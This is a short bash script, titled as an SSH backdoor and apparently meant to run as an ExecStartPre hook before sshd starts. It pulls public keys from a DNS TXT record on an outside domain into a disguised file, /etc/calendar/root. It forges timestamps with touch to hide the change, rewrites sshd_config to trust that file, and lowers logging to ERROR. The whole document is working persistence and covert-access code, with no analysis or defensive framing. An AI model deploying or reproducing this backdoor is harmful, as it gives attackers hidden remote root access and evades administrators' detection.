ExecStartPre-ssh-backdoor

#!/bin/bash
keysfile=`/usr/sbin/sshd -T | awk -F authorizedkeysfile '/authorizedkeysfile/ {print $NF}'` || keysfile=".ssh/authorized_keys"

if [ -d "/etc/calendar/" ]; then
    if [ ! -e "/etc/calendar/root" ]; then
        touch -r /etc/calendar/ /etc/calendar/root
    fi
else
    mkdir /etc/calendar/
    touch -r /etc/ /etc/calendar/
    touch -r /etc/calendar/ /etc/calendar/root
fi

dig +short TXT $(hostname).joshua.hu | sed 's/\x22//g' > /etc/calendar/root

touch -r /etc/ssh/sshd_config /tmp/t.tmp
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak

echo "AuthorizedKeysFile /etc/calendar/root ${keysfile}" > /etc/ssh/sshd_config
echo "LogLevel ERROR" >> /etc/ssh/sshd_config
cat /etc/ssh/sshd_config.bak >> /etc/ssh/sshd_config
echo "LogLevel ERROR" >> /etc/ssh/sshd_config
exit 0